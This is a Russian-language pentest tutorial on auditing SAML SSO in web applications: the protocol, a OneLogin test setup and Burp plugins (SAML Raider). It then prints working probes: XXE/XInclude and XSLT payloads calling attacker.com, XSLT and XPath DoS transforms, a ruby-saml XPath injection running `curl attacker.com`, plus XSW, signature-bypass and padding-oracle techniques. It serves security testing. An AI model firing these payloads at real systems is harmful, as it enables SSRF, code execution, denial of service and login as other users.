Перед тобой практическое руководство по аудиту безопасности веб-приложений с поддержкой SAML SSO. Single Sign-On — это технология, которая позволяет логиниться в веб-приложение через сторонний сайт (провайдер). А SAML — это популярный XML-протокол для реализации SSO. Мы подробно расскажем, что такое SAML SSO, как он работает. Опишем, каким образом настроить свое приложение на работу с SAML IdP. И наконец, расскажем самое важное — какие инструменты нужно использовать для пентестов, на наличие каких уязвимостей нужно проверять приложение. XXE, атаки через преобразования, XPath-инъекции, ошибки при проверке подписи, атаки XSW, атаки на зашифрованные assertions и многое другое. Велком!

 

Что такое SAML SSO и зачем он нужен?

Single Sign-On (SSO) — это технология, которая позволяет залогиниться в веб-приложении через сторонний сайт-провайдер. К плюсам использования SSO можно отнести следующее:

  • Приложение может не хранить аутентификационную информацию — все хранится на стороне провайдера. Если приложение взломают, атакующий не получит аутентификационную информацию (в зависимости от приложения — это могут быть пароли, хеши паролей, зашифрованные пароли).
  • У пользователя одна и та же учетная запись для доступа к нескольким приложениям, если они используют один и тот же SSO-провайдер. Теоретически это должно заставить пользователя выбрать более стойкий единый пароль.
  • Если пользователь был аутентифицирован при доступе к одному из приложений, то при доступе к другому приложению повторный ввод имени пользователя и пароля не потребуется.

К минусам можно отнести следующее:

  • Атакующему нужно узнать только один пароль, чтобы получить доступ сразу к нескольким приложениям от имени пользователя.
  • Необходимо доверять SSO-провайдеру, который представляет собой «черный ящик». Как правило, владелец приложения ничего не знает о безопасности SSO-провайдера: каким образом хранится аутентификационная информация, кто имеет к ней доступ, какие действия предпринимает SSO-провайдер для обеспечения безопасности.
  • SSO-провайдер — это точка отказа. Если по каким-то причинам он недоступен, это приведет к неработоспособности приложения.
  • Код на стороне приложения, отвечающий за SSO, — это дополнительный источник уязвимостей.

Security Assertion Markup Language (SAML) — это открытый стандарт, который описывает фреймворк, позволяющий обеим сторонам (приложению и провайдеру) обмениваться аутентификационной и авторизационной информацией. Аутентификационная и авторизационная информация представляется в виде набора утверждений (assertions), которые подписаны провайдером (и в некоторых случаях зашифрованы).

На момент написания статьи последняя версия стандарта — SAML 2.0.

По стандарту SAML клиент (веб-приложение) и провайдер аутентификации обмениваются аутентификационными утверждениями (assertions) через XML. А это означает, что SAML основан на следующих стандартах w3c, относящихся к XML:

  • Extensive Markup Language — стандарт, касающийся языка XML;
  • XML Schema — стандарт, касающийся XML-схем;
  • XML Signature — cтандарт, относящийся к обработке цифровых подписей в XML;
  • XML Encryption — cтандарт, относящийся к шифрованию данных в XML.

У SAML есть множество сценариев применения:

  • Web SSO;
  • Attribute based authorization;
  • Identity Federation;
  • WS-Security.

Web SSO (или SAML SSO в нашей терминологии) — это наиболее распространенный юзкейс для SAML, поэтому самый интересный с точки зрения безопасности. В нем мы и будем сегодня разбираться.

В аутентификации через SAML SSO участвуют три стороны:

  • провайдер аутентификации (SAML identity Provider или SAML IdP);
  • веб-приложение (SAML Service Provider или SAML SP);
  • браузер пользователя (User Agent).

User Agent аутентифицируется на стороне SAML IdP, а затем получает доступ к веб-приложению. Веб-приложение доверяет провайдеру и получает от него аутентификационную информацию. Стороны SAML SSO и их взаимоотношения представлены на рис. 1.

Рис. 1. Стороны SAML SSO и их взаимоотношения
Рис. 1. Стороны SAML SSO и их взаимоотношения

В качестве IdP провайдера может выступать один из онлайн-сервисов, таких как OneLogin, Ping Identity, Okta и другие. Или ты можешь развернуть свой IdP, используя софт — Shibboleth или OpenAM. Рассмотрим по шагам, каким образом приложение аутентифицируется на стороне провайдера и затем получает доступ к приложению.

Существует два альтернативных flow для SAML SSO: SP-initiated flow и IdP-initiated flow. Различие заключается в том, к кому обращается User Agent в начале процесса — к приложению или к провайдеру. Мы рассмотрим SP-initiated flow, который представлен на рис. 2.

На первом шаге User Agent обращается к приложению. Так как пользователь не был аутентифицирован, приложение перенаправляет браузер на страницу аутентификации провайдера — IdP Login URL. Этот URL приложение берет из конфигурации SAML. В момент редиректа приложение добавляет параметр SAMLRequest в строку запроса (query string).

Браузер делает запрос к IdP Login URL c параметром SAMLRequest. IdP аутентифицирует пользователя и делает редирект браузера обратно в приложение (на Assertion Consumer URL или ACS URL) с параметром SAML Response в строке запроса, который содержит закодированное сообщение Response. В сообщении Response содержатся утверждения (assertions), которые подписаны провайдером (и, возможно, зашифрованы). Провайдер использует значение ACS URL из конфигурации SAML для этого приложения.

Браузер запрашивает ACS URL и передает SAML Response в качестве параметра запроса. Приложение проверяет подпись сообщения Response и подпись каждого assertion (и, возможно, расшифровывает assertion). Для этого приложение использует сертификат провайдера, который хранится в конфигурации SAML.

Далее приложение на основе данных assertion создает сессию для пользователя, делает редирект браузера на страницу /app/profile и устанавливает cookie с идентификатором сессии пользователя.

Рис. 2. SAML SP-initiated flow
Рис. 2. SAML SP-initiated flow
 

Настраиваем SAML SSO в приложении

После того как мы разобрались с теорией, приступим к настройке SAML SSO для тестируемого приложения. У нас есть развернутое приложение, теперь нам нужен SAML IdP (провайдер). Я предпочитаю OneLogin, он популярен, и многие приложения его поддерживают. Еще OneLogin предоставляет полезные утилиты, которые тебе пригодятся при тестировании безопасности. Утилиты находятся здесь.

Регистрируем бесплатный девелоперский аккаунт. Идем в APPS → Company Apps, затем нажимаем кнопку Add Apps. В строке поиска необходимо набрать SAML Test Connector, как показано на рис. 3. Далее выбираем SAML Test Connector (IdP w/attr).

Рис. 3. Создание тестового коннектора
Рис. 3. Создание тестового коннектора

Задаем имя для коннектора и нажимаем кнопку Save.

На стороне нашего приложения идем в настройки SAML IdP (рис. 4). Нам нужно скопировать значения полей Issuer, ACS URL, Logout URL. Эти три параметра нам генерирует приложение, и они используются для настройки коннектора на стороне IdP.

Рис. 4. Настройки SAML IdP приложения
Рис. 4. Настройки SAML IdP приложения

Параметры, которые сгенерировало приложение, необходимо перенести в настройки коннектора, как показано на рис. 5. На этом все, настройка коннектора завершена!

Рис. 5. Настройка коннектора
Рис. 5. Настройка коннектора

Переходим на вкладку SSO. Копируем значения X.509 certificate, Issuer URL, SAML Endpoint и SLO Endpoint из настроек коннектора в настройки нашего приложения (рис. 6).

Рис. 6. Параметры SSO
Рис. 6. Параметры SSO

Далее необходимо создать пользователя в IdP. Для этого идем в Users → All Users, как показано на рис. 7. Нажимаем кнопку New User.

Рис. 7. Создание пользователя на стороне IdP
Рис. 7. Создание пользователя на стороне IdP

Создаем нового пользователя, указываем email и пароль. Переходим на вкладку Applications и выбираем сконфигурированный нами коннектор (рис. 8).

Рис. 8. Привязка пользователя к коннектору
Рис. 8. Привязка пользователя к коннектору

В нашем приложении создаем пользователя с таким же email, так как связка пользователей между IdP и нашим приложением осуществляется по email. На этом настройка SAML SSO завершена.

Когда мы пытаемся залогиниться в наше приложение, оно редиректит нас к IdP на страницу логина — SAML 2.0 endpoint (см. конфигурацию коннектора в OneLogin). После успешного логина пользователя на стороне IdP происходит редирект в наше приложение на ACS URL. В параметре SAML Response передается закодированное в Base64 сообщение Response (рис. 9).

Рис. 9. Передача SAML Response в приложение
Рис. 9. Передача SAML Response в приложение

Мы можем декодировать Response. Для этого используем эту утилиту (рис. 10):

Рис. 10. URL decoding
Рис. 10. URL decoding

А затем, используя эту утилиту, мы получим XML Response, которым подписан IdP (рис. 11).

Рис. 11. Base64 decoding
Рис. 11. Base64 decoding

Если SAML Response был сжат на стороне IdP, то для декодирования тебе нужно использовать Base64 Decode + Inflate вместо Base64 Decode.

Все, на этом процесс настройки и отладки SAML SSO завершен. Переходим к самому интересному — багам!

 

Арсенал для тестирования SAML SSO

На данном этапе у тебя есть тестируемое приложение с работоспособным SAML SSO. Разберемся, какие инструменты использовать для тестирования безопасности.

Конечно, в первую очередь утилиты с сайта, которые ранее упоминались:

  • раздел CODE/DECODE позволит тебе закодировать или декодировать сообщения SAML;
  • раздел SIGN позволит тебе подписать SAML-сообщения, используя секретный ключ;
  • раздел VALIDATE позволит тебе проверить подпись у SAML-сообщения;
  • раздел ENCRYPT/DECRYPT позволит тебе зашифровать или расшифровать SAML-сообщения, для расшифровки понадобится секретный ключ;
  • раздел EXAMPLES содержит примеры различных SAML-сообщений.

Если ты занимаешься веб-безопасностью, то, скорее всего, в твоем хакерском арсенале есть Burp Suite. Я представлю два плагина, которые предназначены для тестирования SAML. Ты можешь использовать эти плагины даже с бесплатной версией Burp Suite.

Первый плагин — это SAML Editor, написан на Python. Для того чтобы он заработал, придется установить Jython standalone и указать в настройках Burp Extender путь к Jython. Плагин очень простой, он добавляет дополнительную табу с именем SAML, которая позволяет редактировать SAML-сообщения на лету (рис. 12). Больше он ничего не умеет, его удобно использовать, чтобы быстро отредактировать сообщение.

Рис. 12. Плагин SAML Editor
Рис. 12. Плагин SAML Editor

Второй плагин — это SAML Raider. Плагин написан на Java, можно его собрать, используя Maven, либо скачать готовый jar-файл.

Плагин добавляет новую табу с именем SAML Raider, которая позволяет работать с подписями: удалять подписи, подписывать assertions и/или сообщение SAML, используя импортированный или сгенерированный приватный ключ и сертификат.

Самое замечательное, что умеет плагин SAML Raider, — это тестировать приложение на уязвимости XML Signature Wrapping (XSW). Поддерживаются восемь типов XSW-атак (см. рис. 13).

Рис. 13. SAML Raider tab
Рис. 13. SAML Raider tab

Дополнительно плагин добавляет табу SAML Raider Certificates, которая позволяет импортировать приватный ключ и сертификат, который затем можно использовать для подписи assertions и SAML-сообщения. У плагина есть очень полезная возможность — сгенерировать приватный ключ и сертификат, при этом полностью скопировать поля из сертификата IdP в сгенерированный сертификат. Для этого, находясь на табе SAML Raider, необходимо нажать кнопку Send Certificate to SAML Raider Certs, затем перейти на вкладку SAML Raider Certificates и нажать кнопку Clone, выбрав сертификат IdP (рис. 14).

Рис. 14. SAML Raider Certificates tab
Рис. 14. SAML Raider Certificates tab

Рассмотренных инструментов будет достаточно для того, чтобы протестировать безопасность реализации SAML SSO в интересующем приложении.

 

Ищем уязвимости в SAML SSO

Самая интересная часть статьи — это какие уязвимости в реализации SAML SSO ты можешь найти на стороне приложения. Поехали.

 

XXE повсюду

SAML-сообщения представляют собой XML. Это означает, что тестируемое приложение потенциально подвержено уязвимостям, связанным с парсингом XML. Сюда можно отнести уязвимости XML External Entities (XXE), Server-Side Request Forgery (SSRF) и XML Entity Expansion (XEE, в массах более известна как Billion Laughs attack).

Эти уязвимости очень распространены, когда речь идет о парсинге XML. На страницах Хакера про эти уязвимости не раз писали, поэтому я не буду подробно на них останавливаться. Только порекомендую хорошую «методичку» по данным уязвимостям. Эти уязвимости работают, несмотря на то что SAML-сообщение подписано, так как проверка подписи происходит уже после парсинга XML.

Первым делом при тестировании безопасности SAML SSO нужно перехватить сообщение Response и заменить его на следующее:

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://attacker.com:8888/vector.xsl"?>
<!DOCTYPE Response SYSTEM "http://attacker.com:8888/vector.dtd" [
  <!ENTITY % remote SYSTEM "http://attacker.com:8888/vector.parameter.entities">
  <!ENTITY xxe SYSTEM "http://attacker.com:8888/vector.general.entities">
  %remote;
]>
<Response>
  <foo>&xxe;</foo>
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
    href="http://attacker.com:8888/vector.xi"></x>
  <y xmlns=http://a.b/
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://a.b/
    http://attacker.com:8888/vector.xsd">a</y>
</ Response>

Хостнейм attacker.com нужно заменить на твой хостнейм, который доступен тестируемому приложению. Если у тебя нет публичного сервера, ты можешь воспользоваться этим отличным сервисом. Он логирует все поступившие HTTP/HTTPS-запросы.

Если на attacker.com пришел GET-запрос, это означает, что приложение уязвимо.

 

Преобразования и цифровая подпись

Стандарт цифровой подписи в XML предусматривает различные трансформации (преобразования) XML-документа перед его подписью. У элемента <ds:Signature> есть дочерний элемент <ds:Transforms>, который содержит несколько элементов <ds:Transform>. Каждый элемент <ds:Transform> определяет одно преобразование.

Возможны следующие преобразования:

  • Enveloped signature — это вид XML-подписи, когда элемент с подписью помещается внутрь элемента, для которого вычисляется подпись. Преобразование enveloped signature означает, что при вычислении подписи для целевого элемента необходимо убрать из него элемент <ds:Signature>. То есть подпись вычисляется без <ds:Signature>;
  • C14N — преобразование, которое заключается в приведении XML-документа к каноническому (логическому) виду (canonicalization) для XML версии 1.0;
  • C14N11 — преобразование к каноническому виду для XML версии 1.1;
  • XPath — XPath-фильтрация, применяется, когда необходимо подписать определенную часть документа;
  • XSLT — преобразование подписываемого XML-документа на основе таблицы стилей.

SAML IdP при формировании подписи проводит последовательность трансформаций. Проверяющая подпись сторона — наше приложение должно осуществить ту же самую последовательность преобразований в процессе проверки валидности подписи.

...
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
    <ds:Reference URI="#pfxb7366886-c7eb-dcef-a666-466bbca77732">
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      </ds:Transforms>
      <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
...

Преобразования enveloped signature, С14N либо С14N11 являются обязательными, преобразования XPath и XSLT — опциональными. То есть проверяющая подпись сторона может не поддерживать опциональные преобразования.

Если код, осуществляющий проверку подписи в нашем приложении, поддерживает XSLT-преобразование, это означает, что наше приложение, скорее всего, уязвимо к различным атакам: исполнению кода (RCE), SSRF, доступу к локальным файлам, DoS, разглашению конфигурационной информации. Серьезность уязвимости зависит от используемой XSLT-библиотеки. Не буду вдаваться в детали атак с использованием XSLT. Ограничусь ссылкой на выступление про практическую эксплуатацию XSLT-преобразований с конференции OWASP Switzerland 2015.

Как и в случае с уязвимым XML-парсингом, для совершения атак не нужно специальных инструментов. Достаточно декодировать Response и добавить элемент <ds:Transform>, который содержит дочерний элемент . Все трансформации выполняются до проверки подписи. Для проверки, поддерживает ли наше приложение XSLT в подписи, можно использовать следующее XSLT-преобразование:

<xsl:stylesheet xmlns:xsl='http://www.w3.org/1999/XSL/Transform' version='1.0'>
<xsl:variable name="send" select="document('http://attacker.com:8888/ssrf')"/>
<xsl:template match='@*|node()'>
<xsl:copy>
<xsl:apply-templates select='@*|node()'/>
</xsl:copy>
</xsl:template>
</xsl:stylesheet>

Если на attacker.com пришел GET-запрос, это означает, что приложение поддерживает XSLT.

Надо отметить, что не все XSLT-библиотеки поддерживают обращение к внешним ресурсам по протоколу HTTP/HTTPS. В этом случае можно использовать следующее XSLT-преобразование:

<xsl:stylesheet xmlns:xsl='http://www.w3.org/1999/XSL/Transform' version='1.0'>
<xs:for-each select='//. | //@*'>
<xs:for-each select='//. | //@*'>
<xs:for-each select='//. | //@*'>
<xs:for-each select='//. | //@*'>
<xs:for-each select='//. | //@*'>
<xs:text></xs:text>
</xs:for-each>
</xs:for-each>
</xs:for-each>
</xs:for-each>
</xs:for-each>
<xsl:template match='@*|node()'>
<xsl:copy>
<xsl:apply-templates select='@*|node()'/>
</xsl:copy>
</xsl:template>
</xsl:stylesheet>

Если приложение долго не отвечает, то оно поддерживает XSLT и уязвимо к DoS-атакам.

Когда приложение не поддерживает XSLT, но поддерживает XPath-преобразование, оно уязвимо к DoS-атакам. Для того чтобы это проверить, можно использовать следующее XPath-преобразование.

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xpath-19991116">
      <ds:XPath>count(//. | //@* | //namespace::*)</ds:XPath>
     </ds:Transform>

Если приложение отвечает дольше обычного, то оно поддерживает XPath.

 

XPath-инъекции

Еще одна интересная уязвимость — это XPath-инъекция. Рассмотрим, как происходит проверка подписи SAML Response. Обычно код, осуществляющий проверку подписи, ищет элемент <ds:Signature> и из дочернего элемента <ds:Reference> извлекает атрибут URI. Затем использует значение URI в XPath-выражении, наподобие //*[@ID='aaa'], для поиска элемента <saml:Assertion>, для которого требуется проверка подписи. В приведенном примере XPath aaa — это идентификатор.

Если приложение не производит проверку значения URI на наличие XPath-конструкций при составлении выражения, то такая реализация уязвима к XPath-инъекциям.

Свежая XPath-инъекция найдена в конце 2015 года в ruby-saml. Ниже представлена строка из xml_security.rb, которая стала причиной инъекции:

hashed_element = document.at_xpath("//*[@ID='#{uri[1..-1]}']")

В случае с Ruby эта уязвимость приводит к RCE. Во всем виновата особенность реализации XPath в Ruby, которая выполняет shell команды внутри обратных кавычек. Если приложение использует ruby-saml, то для определения наличия уязвимости необходимо в атрибут URI элемента подставить следующее значение:

#x'] or eval('`curl attacker.com`') or /[@ID='v

Если на хост attacker.com придет GET-запрос, то приложение уязвимо.

 

Атаки через сжатие сообщений SAML

IdP может сжимать сообщение SAML Response и затем его преобразовывать в Base64. Поэтому тестируемое приложение может ожидать, что сообщение придется распаковывать.

Используя Python, мы можем получить закодированный SAML Response (Deflate + Base64) следующим образом:

import base64, zlib
response = '<?xml …'
base64.b64encode(zlib.compress(response)[2:-4])

Если приложение поддерживает сжатие SAML-сообщения, то, скорее всего, оно подвержено DoS-атакам.
Сценарий атаки следующий. Атакующий декодирует SAML Response. Далее в элемент <saml:Issuer> вставляет много «мусорных символов» и кодирует сообщение — сжимает и преобразует в Base64.

Выбором «мусорных символов» можно добиться хорошей степени сжатия — порядка 1000:1. Таким образом, мы можем сконструировать SAML Response размером 10 Гбайт, который будет сжат в 10 Мбайт. Это, конечно, зависит от настроек веб-сервера, но, как правило, веб-сервер приложения должен пропускать запрос с телом ~10 Мбайт.

Распаковка и парсинг XML размером 10 Гбайт — занятие не из легких.

 

Ошибки при проверке подписи

При валидации подписи SAML Response потенциально существует много мест, где приложение может «фатально» ошибиться, и в результате атакующий сможет залогиниться под другим пользователем в приложение.

Разработчик может заложить fail open логику в проверку подписи. То есть если подписи нет, то приложение ее не проверяет и доверяет assertions, которые содержатся в сообщении Response. Мы можем имперсонироваться любым пользователем.

Другой фейл, когда приложение берет сертификат IdP из элемента в сообщении Response для проверки подписи. Атакующий может сгенерировать свой приватный ключ и сертификат и затем подписать сообщение приватным ключом, и сообщение пройдет валидацию подписи.

Или приложение может брать сертификат IdP из элемента , но проверять какие-то поля сертификата (за исключением Fingerprint). В этом случае атакующий также генерирует приватный ключ и сертификат. При генерации сертификата он копирует поля, по которым происходит проверка из оригинального сертификата IdP.

При проверке подписи приложение должно брать сертификат из конфигурации SAML и использовать его для валидации подписи, только так.

Другая проблема — каким образом приложение проверяет валидность сертификата IdP после установки. Сертификат IdP может закончиться или стать скомпрометированным.

В сообщении Response присутствуют несколько подписей — это подписи отдельных assertions и подпись самого сообщения. Некоторые реализации проверяют только подпись assertions и не проверяют подпись сообщения. Это приводит к Reply-атакам. Дело в том, что assertion валиден некоторое время (варьируется для каждого IdP), это задается значением атрибута NotOnOrAfter, также сообщение Response имеет уникальный идентификатор. Это нужно для того, чтобы юзер смог воспользоваться ответом IdP только один раз. Допустим, что атакующий провел MITM-атаку или получил доступ к истории браузера жертвы и в результате смог получить SAML Response, с которым пользователь логинился в приложение. Если приложение не проверяет подпись самого сообщения, то атакующий сможет поменять уникальный ID сообщения и использовать SAML Response (конечно, если срок SAML assertion не истек) для того, чтобы залогиниться в приложение от имени пользователя.

Отдельного внимания требуют XML Signature wrapping (XSW) атаки. О них более подробно будет рассказано в следующем разделе.

Уязвимости, связанные с проверкой подписи, удобно тестировать при помощи плагина SAML Raider.

 

Атаки XSW

XSW — это атака на процедуру проверки подписи, она заключается в том, что приложение проверяет подпись одних данных, а при обработке использует другие. В контексте SAML данная атака позволяет атакующему, имеющему учетную запись в приложении, аутентифицироваться как любой другой пользователь.

Предположим, что IdP подписывает только assertion и не подписывает само сообщение. Наше приложение принимает Response, проверяет подпись assertion и аутентифицирует пользователя. SAML Response показан на рис. 15. При проверке подписи приложение ищет при помощи XPath элемент , у которого атрибут ID равен значению abc.

Рис. 15. Оригинальный SAML Response
Рис. 15. Оригинальный SAML Response

Теперь попробуем модифицировать оригинальный SAML Response. Добавим в сообщение элемент <samlp:Extensions>, который содержит из оригинального сообщения. По спецификации SAML элемент <samlp:Extensions> является необязательным и может содержать внутри себя любые элементы. Также в сообщение вместо оригинального элемента <saml:Assertion ID = "abc"> мы вставляем свой элемент <saml:Assertion ID = "evil">. В качестве подписи для <saml:Assertion ID = "evil"> мы используем подпись для <saml:Assertion ID = "abc">. После манипуляций SAML Response выглядит, как показано на рис. 16.

При проверке подписи приложение использует элемент <saml:Assertion ID = "abc">, который является дочерним для . Проверка подписи успешно проходит. Но для аутентификации пользователя приложение использует элемент <saml:Assertion ID = "evil">. Это и есть XSW-атака.

Рис. 16. Модифицированный SAML Response
Рис. 16. Модифицированный SAML Response
 

Атаки на зашифрованные assertions

SAML позволяет шифровать assertions, если assertion содержит конфиденциальную информацию. SAML не позволяет шифровать отдельные атрибуты, поэтому assertion шифруется целиком. Пример SAML Response с зашифрованным assertion доступен здесь. В сообщение Response вместо элемента <saml:Assertion> присутствует элемент <saml:EncryptedAssertion>, зашифрованный и закодированный в Base64 assertion, а также симметричный ключ шифрования, оба находятся внутри элементов <xenc:CipherData>.

Для шифрования симметричного ключа шифрования используется алгоритм RSAES-PKCS1-v1_5. Для шифрования данных обычно используется блочный шифр (AES) в режиме CBC.

Если при расшифровывании assertion приложение выступает в качестве Оракула (Oracle), то после расшифровки оно сообщает о том, что padding неверный или расшифрованное сообщение не является валидным XML. Приложение может сообщать это в виде явного сообщения об ошибке либо в виде различного тайминга. Время расшифровывания assertion различается и когда padding корректный, и когда он некорректный. В этом случае атакующий, перехвативший зашифрованный assertion, сможет его расшифровать даже без знания ключа шифрования.

Есть еще одно условие для проведения атаки на XML-шифрование: атакующий должен иметь возможность изменять зашифрованные данные. Подпись сообщения проверяется раньше, чем расшифровываются данных. Поэтому приложение должно быть уязвимо к ошибкам проверки подписи, которые были рассмотрены ранее.

Юрай Соморовски (Juraj Somorovsky) опубликовал работу, посвященную атакам на XML-шифрование. В работе описан алгоритм, который позволит атакующему расшифровать при выполнении двух условий: приложение уязвимо к ошибкам проверки подписи и приложение выступает в качестве Оракула. В среднем для расшифровки одного блока (в случае AES блок составляет 16 байт) шифротекста в среднем потребуется 162 запроса.

Также в 2015 году Юрай Соморовски на конференции Black Hat EU представил утилиту WS-Attacker, которая реализует алгоритм из его работы про атаки на XML-шифрование. Ссылка на презентацию тут. Я же опишу основные идеи алгоритма.

Процесс расшифровывания assertion выглядит, как это показано на рис. 17. Предположим, что для шифрования используется AES-CBC (размер блока 16 байт). Расшифрованный i-й блок Pi получается следующим образом:

Pi = Ci-1 ⨁ D(k,Ci) = Ci-1 ⨁ x

Ci-1 обозначает i-1 блок шифротекста, Ci — соответственно, i блок шифротекста. Операция расшифровывания с использованием алгоритма AES обозначена как D(k,Ci), результат этой операции обозначен как x.

Рис. 17. Операция расшифровывания assertion при помощи блочного шифра в режиме СВС
Рис. 17. Операция расшифровывания assertion при помощи блочного шифра в режиме СВС

Рассмотрим, каким образом осуществляется паддинг при XML-шифровании. Допустим, у нас есть следующий XML — <ABC/>. XML кодируется в UTF-8. То есть мы получаем следующий закодированный XML (6 байт) — 0x3c 0x41 0x42 0x43 0x2f 0x3e. Блок шифрования для AES составляет 16 байт. Поэтому мы должны использовать 10 байт паддинга — 0x3c 0x41 0x42 0x43 0x2f 0x3e 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x0A (0x?? означает любое значение байта). Последний байт — это длина паддинга (равен 0x0A в нашем случае).

Предположим, что мы хотим расшифровать блок шифротекста Ci (без знания ключа шифрования). Мы оставляем только блоки шифротекста с номерами от 0 до i: C0, ..., Ci. Далее мы модифицируем блок шифротекста Ci-1 особым образом и отправляем SAML Response приложению для расшифровки. Наша задача — сделать такую модификацию Ci-1, чтобы при расшифровке на стороне приложения получился валидный XML и паддинг был равен одному байту (последний байт расшифрованного блока равен 0x01). Модифицированный блок Ci-1 обозначен как C~i-1.

Рис. 18. Находим модифицированное значение C(i-1)
Рис. 18. Находим модифицированное значение Ci-1

Если мы нашли C~i-1, то мы сможем вычислить последний байт Pi (или Pi[16]) расшифрованного блока (открытого текста). Сначала мы вычисляем x[16] как

x[16] = 0x01 ⨁ C~i-1[16]

И затем

Pi[16] = 0x01 ⨁ C~i-1[16] ⨁ Ci-1[16]

На следующем шаге мы получаем расшифрованное значение для остальных байтов (с 1-го по 15-й). Допустим, мы хотим вычислить Pi[3]. Для этого мы добавляем (операция XOR) C~i-1[3] различные значения (назовем их «маски») и смотрим ответ приложения — возвращается ли ошибка вследствие невалидного XML или нет. Таким образом, прибавляя различные маски и анализируя реакцию приложения, мы в конечном итоге вычисляем значение Pi[3].

 

Заключение

Итак, ты получил представление о том, каким уязвимостям подвержены приложения с поддержкой SAML SSO. Ты узнал, каким образом настроить SSO с помощью SAML в приложении, какие инструменты использовать для тестирования безопасности SAML SSO.

Надеюсь, что теперь, если ты столкнешься с SAML SSO, будешь знать, куда копать. Успешного багхантинга!

Оставить мнение